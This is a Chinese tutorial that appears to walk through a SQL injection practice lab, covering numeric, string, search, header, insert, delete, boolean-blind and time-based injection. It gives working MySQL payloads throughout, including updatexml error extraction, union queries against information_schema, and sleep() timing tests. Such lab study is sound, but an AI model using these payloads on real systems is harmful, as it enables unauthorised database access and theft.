选择使用or 还是 and 的时候要注意都试一下 因为1’ and ‘1’=’1 因为1是存在的所以and用的时候能使条件为1 而0’ or ‘1’=’1因为0不存在只能用or使条件为1。
一. 数字型注入
1. 数字型注入(注:数字型注入判断/1 /0 他不需要’ ‘’ 闭合)
2. 选择一个id,然后进行抓包,放入重放
3. 因为重放包里面不好判断回显,这里我们选择hackbar 将post里面的数据放入hackbar
4. 然后1/1 1/0 看回显 发现回显不一样
/1
/0
5. 然后直接使用盲注 if()函数 if(1=1,1,0)----->if(mid(user(),1,1)='a',1,0)对a进行爆破
6. 这里也可以用报错注入 因为是字符型不用单引号闭合
1 and updatexml(1,concat(0x7e,database(),0x7e),1)=1
二. 字符型注入
1. 字符型注入(注:字符型判断’‘’ 需要’ ‘’ 闭合)
找到与数据库交互的参数,下面一看就是
2. 输入111 然后进行抓包 ‘ ’‘ 判断是否存在注入
单引号是30970
双引号是33675
3. 所以这里存在注入 然后构造payload:111'+or+mid(user(),1,1)!='a 进行爆破
一步一步构造出来 1’+or+’1’=’1 poc有回显
爆破出来第一位用户名为R r
4. 因为单引号会报错,所以可以试试报错注入
1’ and updatexml(1,concat(0x7e,database(),0x7e),1)=’1
因为是字符型,所以要单引号闭合
所以可以显示出数据库名
三. 搜索型注入
1. 首先输入1 发现有数据 所以这里可以用and
判断 单引号 双引号 发现回显不一样(自己手工测试)
构造poc : 1’ and ‘1’=’1 1’ and ‘1’=’2 看看回显不一样
2.
1’ and ‘1’!=’1 回显是不一样但你能发现 1’ and ‘1’=’2 与 1’ and ‘1’=’1 回显是一样的
为什么勒?
因为查询语句可能是这样的 select * from * where id=’ and 1=99’
字符1’ and ‘1’=’1是要与后面的单引号闭合 但是他可能1后面还有语句
select * from * where id=’ 1’ and ‘1’=’1 and 1=99’ 这样查看的语句就和1’ and ‘1’=’2
回显是一样的
所以这里我们用 1’ or 1=1 # 或者 1’ or ‘1’=’1’ # 回显不一样爆破数据库
1’ or 1=1 #
1’ or 1=2 #
3.爆破数据名就不爆破了,其实都一样 字符型需要闭合
这里我们试试报错注入 1' and updatexml(1,concat(0x7e,database(),0x7e),1)=1#
四. XX型注入
有点特别这里 数据库里面语句是 where id=(‘’)
1. 第一步单引号:
根据这句话就可以看出来刚刚的特别
两个单引号:回显正常Payload: ') union select database(),2 # 就可以判断出用户名了
2.
3. 所以为了构造sql语句,这里要闭合where id=(‘’)里面的(‘
输入’) # 相当于where id=(‘ ‘)# ’)
闭合后里面就可以 添加sql语句 这里用联合查询
输入’) # 发现闭合 没有报错
4. 联合注入
首先’ ) order by 1 # 判断有几个字段
’ ) order by 2 # 回显正常
’ ) order by 3 # 回显不正常 说明有2个字段
然后用联合查询 ‘) union select 1,2 # 看看里面数据发现有1 2
说明联合会对1 2 这几个数字查询 是关键数字 让他们替换成database()就可以查
‘) union select 1,database() #
2上面的位置就显示出数据库名
然后使用sql语句查询数据库中表名
‘) union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
然后查表里面的字段
‘ ) union select 1,group_concat(column_name),3 from information_schema.columns where table_name="message" #
然后查询查询表里面的字段信息id content:
') union select content,id from message #
五. Inset/update型注入
1.点击注册 里面有注入
2. 单引号 双引号判断用户名存在注入
3. 这里可以用报错注入 字符型
1’+and+updatexml(1,concat(0x7e,database(),0x7e),1)=’1#
但是为什么1’+and+updatexml(1,concat(0x7e,database(),0x7e),1)=1 # 没有显示就很奇怪
六. Detete型注入
1. 听名字就知道,是删除存在注入
点击删除哪里存在注入
先/1 /0 发现是数字型注入 其实单引号双引号也会报错
/1页面正常
/0 页面不正常
2. 所以可以使用盲注和报错注入,盲注跟之前一样的
报错注入payload:1+or+updatexml(1,concat(0x7e,database(),0x7e),1)=1
数据库名出来了
七. http头 注入
登陆进去admin 123456 然后刷新抓包
里面有注入点
1. 首先cookie里面明文传输,admin存在注入
Admin’
Admin’’
2. 这里也是盲注,我就不多说了,和前面一样
这里也有报错注入:admin'+or+updatexml(1,concat(0x7e,database(),0x7e),1)='1
然后就可以看到数据库名
3. 其实这里还有一个地方存在注入
User-Agent:’
User-Agent:’’
4.然后这里步骤是一样,只是注入点有点离谱
八.盲注base on boolan头 注入
1.这里依旧是查询宽,不用说存在注入,主要怎么去判断
这里用到exp(709)一个计数函数超过exp(710)就会报错
‘-exp(709)-’
'-exp(710)-' 就会报错 存在回显就可能有注入
3. 构造payload:'-if(1=1,exp(999),0)-' 后面怎么爆破数据库名我就不说了,都一样
主要是判断 --是注释符 中间加函数可以被强制执行 所以用来构造payload
为什么'-if(1=1,exp(999),0)-# 不会报错是因为mysql是弱类型 -是减号会将#变成int(#)就达不到注释的作用
所以'-if(1=1,exp(999),0)# 就可以达到效果
还有'/if(1=1,exp(999),0)/' '+if(1=1,exp(999),0)+' 为什么要这样加这个主要让数据库去计算
从而达到回显不一样的效果
4. 这里还可以用 其实’ ‘’判断注入是判断不出来的 所以每一个与数据库交互的地方都要去试一下 1’ or ‘1’=’1 有的没有报错也可能存在注入用poc:1’ or ‘1’=’1 和1’ or ‘1’=’2去看看有没有回显
1' or 1=1 limit 1 #(经验所制)
1' or 1=2 limit 1 #(经验所制)
九.盲注 时间sleep() 注入
1' or sleep(1) # 因为单引号 双引号 不能判断回显不一样 所以选择了sleep()
Payloa:
2. 这里主要是爆破里面怎么看 回显不一样
1)第一步首先线程调到最低1 因为爆破太快 反应的时间也会变多 免得干扰
2)将5 改成 1线程
3)爆破的时候,也要显示时间
以下调节时间精度
然后就可以很明显看出来是哪个数据库名第一位了
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)